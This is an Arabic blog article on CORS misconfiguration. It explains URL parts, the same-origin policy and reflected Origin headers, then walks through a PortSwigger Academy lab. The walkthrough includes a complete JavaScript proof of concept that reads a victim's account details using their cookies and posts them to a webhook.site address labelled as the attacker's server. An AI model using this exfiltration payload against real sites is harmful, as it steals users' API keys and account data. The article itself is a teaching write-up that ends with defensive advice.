الإستحواذ على الحسابات عن طريق ثغرة
CORS

وليد الهاجري
11/03/2021


مقدمة
هذه المقالة ستستعرض كيفية إستغلال ثغرة CORS لاختراق حسابات المستخدمين. ولكن قبل شرح ماهي الـCORS وكيفية إستغلالها ، لابد أولاً أن نفهم كيف يتعامل المتصفح مع الـrequests والـresponses وأيضا أشياء أساسية عن المواقع وطريقة عملها.
تركيبة عناوين المواقع (URL)
أولاً، لفهم الـCORS، نحتاج إلى معرفة مكونات عنوان الموقع (URL). واللتي هي كالآتي

البروتوكول(Protocol): هذه الخانة، لكي يعلم المتصفح بالبروتوكول المراد استخدامه ، مثل:
  • https://example.com
  • http://example.com
  • ftp://example.com
العنوان الفرعي(Subdomain): يمكن أن يحتوي عنوان(Domain) على عدة عناوين فرعية(Subdomain) ، ويمكن أن يكون كل عنوان فرعي عبارة عن تطبيق ويب مختلف ، مثل:
  • https://www.example.com
  • https://eservices.example.com
  • https://api.example.com
عنوان الموقع الأساسي(Second-level Domain): هذا هو عنوان الموقع الرئيسي، مثل:
  • https://facebook.com
  • https://twitter.com
  • https://instagram.com
Top-level Domain (TLD): هذه الجزء من الرابط يحدد نوع موقع الويب، مثل:
  • com: عادة تستخدم للمواقع ذات الغرض التجاري
  • edu: تستخدم للجهات التعلمية
  • gov: تستخدم للجهات الحكومية
المنفذ(Port): عادةً يتم إستخدمها إذا كان الموقع يعمل على منفذ غير مألوف، مثل:
  • https://example.com:8080
  • https://example.com:8000
  • http://example.com:1234
المسار(Path): في هذة الخانة يمكنك التنقل بين صفحات الموقع، مثل:
  • https://example.com/fonts
  • https://example.com/js
  • https://example.com/articles
الاستعلام(Query): هذا الجزء اختياري ويأتي بعد علامة الاستفهام "؟" يستخدم للإستعلام عن قيمة معينة للبحث عن مقالة معينة أو الخط لنوع جهاز معين مثل:
  • https://example.com/fonts?device=desktop
  • https://example.com/fonts?device=mobile
  • https://example.com/articles?id=25
جزء(Fragment): هذا الجزء أيضًا اختياري ، ويأتي بعد علامة الوسم(hashtag) "#" التي تخبر المتصفح بمكان معين بالصفحة ، مثل:
  • https://example.com/index.html#top
  • https://example.com/index.html#middle
  • https://example.com/index.html#bottom

كيف تحمي المتصفحات بياناتنا
تحتوي المتصفحات على خاصية أمان مبنية داخل المتصفح لمنع المواقع من مهاجمة بعضها البعض تسمى سياسة نفس الأصل أو same-origin policy (SOP). هذه الآلية تمنع مواقع الويب وبرامجها من الوصول إلى البيانات موقع آخر. مثلا إذا تم تغيير أي مما يلي ، فسيعتبره المتصفح موقع آخر
البروتوكول(Protocol)
العنوان الفرعي(Subdomain)
عنوان الموقع الأساسي(Second-level Domain)
Top-level Domain (TLD)
منفذ(Port)

على سبيل المثال ، إذا كان لدينا عنوان موقع الويب (URL) أدناه
https://example.com
وكان يحاول الوصول إلى بيانات\صفحة من موقع آخر, سيبين لنا الجدول أدناه حماية same-origin policy وطريقة عملها

ما هي سياسة CORS؟
تعتبر Cross-Origin Resource Sharing (CORS) خاصية في المتصفح تتيح مشاركة البيانات بين المواقع المختلفة, لكن إذا أعدت بطريقة خاطئة ممكن تسبب هذه الميزة خطر على بيانات المستخدمين



إستغلال سياسة الـCORS عن طريق الـOrigin header
يعد الـAccess-Control-Allow-Origin header طريقة للمبرمج للسماح لمواقع آخرى بالوصول إلى موقعه.

يمكن أن يأخذ الـAccess-Control-Allow-Origin ثلاث قيم:
Access-Control-Allow-Origin: https://www.example.com
*:Access-Control-Allow-Origin
Access-Control-Allow-Origin: null

تحدث المشكلة عندما يتم إرسال الheaders التاليين معًا في response واحد
*:Access-Control-Allow-Origin
Access-Control-Allow-Credentials: true

لأن المتصفح سيرفض الجمع بين الـheaders لأجل حماية بيانات المستخدم ، لذلك فإن الحل البديل لهذه المشكلة عند بعض المبرمجين هو قراءة الـOrigin header من الـrequest وإضافته في الـresponse كقيمة لـAccess-Control-Allow-Origin header. على سبيل المثال ، لو طلبنا الذهاب لموقع http://evil-site.com وهذا الموقع مصاب بنفس الثغرة، وفيما يلي هما الـrequest والـresponse.
Request
GET / HTTP/1.1

Host: example.com

User-Agent: …

Origin: http://evil-site.com

…
Response
HTTP/1.1 200 OK

Access-Control-Allow-Origin: http://evil-site.com

Access-Control-Allow-Credentials: true

…
حل تحدي vulnerable CORS with basic origin reflection
في البداية لنحاول تطبيق ما نعرفه عن طريق حل التحدي CORS vulnerability with basic origin reflection من أكاديمية Portswigger. أولاً ، لنذهب إلى "My Account" ونستخدم كملة المرور المقدمة من Portswigger بتسجيل الدخول باستخدام كلمة المرور التالية wiener: peter

تحديد الثغرة
الآن ، إذا استعرضنا الـpage source، فسنرى أن الـAPI key للحساب يتم أخذه من صفحة أخرى ، وبما أن الـcredentials تطلب أيضا كما هو موجود في الصندوق الأحمر. لذلك سنفترض أنه يتم استخدام CORS.
إذا لاحظنا الـrequest والـresponse من صفحة الـaccountDetails/ ، فسنحصل على ما يلي.
يبدو من الـresponse header داخل المربع الأحمر أن CORS مدعومة ، لذا لنحاول إضافة الـOrigin header إلى الـrequest وإعطائه أي قيمة كالآتي.
الآن دعونا نستغل هذه الثغرة من خلال محاكاة سلوك المستخدم. أولاً، دعونا ننشئ webserver محليًا حتى نتمكن من رفع exploit عليه.
sudo apt install apache2

sudo service apache2 start

sudo service apache2 status
الآن ، إذا ذهبنا إلى http://localhost ، فسنرى ما يلي.
الآن ، إذا قمنا برفع الـexploit أدناه على الـserver.
<!DOCTYPE html>
<html>
  <body>
   <h2>CORS PoC</h2>
   <p id='data'></p> <!-- User data will be printed here -->

   <script>
    varxhttp = newXMLHttpRequest();
    xhttp.open("GET", "https://ac8b1fc71f7a77e8805e7bf300a0007c.web-security-academy.net/accountDetails", true); // vulnerable website
    xhttp.withCredentials = true; // to include cookies, authorization headers
    xhttp.send(); // send the request to the vulnerable website
    xhttp.onreadystatechange = function() {
     if (this.readyState == 4 && this.status == 200) { // if everything is okay do the following
       vara = this.responseText; // Store sensitive data from the victim account to a variable called a
       document.getElementById("data").innerHTML = a; // print the value of "a" to the body of the page
       xhttp.open("POST", "https://webhook.site/08ac3066-b1ee-45fc-ad24-d70d881fb83c", true);// Attacker's website
       xhttp.withCredentials = true; // include the credentials
       console.log(a); // print the response into the logs
       xhttp.send("data="+a); // sending the data to the attacker website
     }
    };
   </script>
  </body>
  <style>
   h2 {text-align: center;}
   p {text-align: center;}
  </style>
</html>
الآن لننسخ هذه الـexploit ونضعها داخل الـwebserver المحلي بالطريقة الآتية
sudo vim  /var/www/html/cors.html
الآن ، إذا قام المستخدم بزيارة صفحتنا، فسنحصل على بيانات المستخدم
أيضًا ، على server المخترق ، سنحصل على جميع بيانات المستخدمين الذين يزورون صفحتنا كالآتي.
ختاماً
قد تؤدي هذه الثغرة إلى تسريب معلومات مستخدمين الموقع وقد يكون من البديهي التأكد من قيم الـAccess-Control-Allow-Origin ويجب أن تكون فقط لمواقع موثوق بها. كما أن الاعتماد على قيمة الـOrigin header وعكسها بشكل ديناميكي من الـRequest دون التحقق من القيمة المدخلة يمكن استغلاله بسهولة ويجب تجنبه.

لمشاركة هذه المدونة
تابعنا
طور مهاراتك من خلال متابعة آخر منشورات فريقنا
مدونات آخرى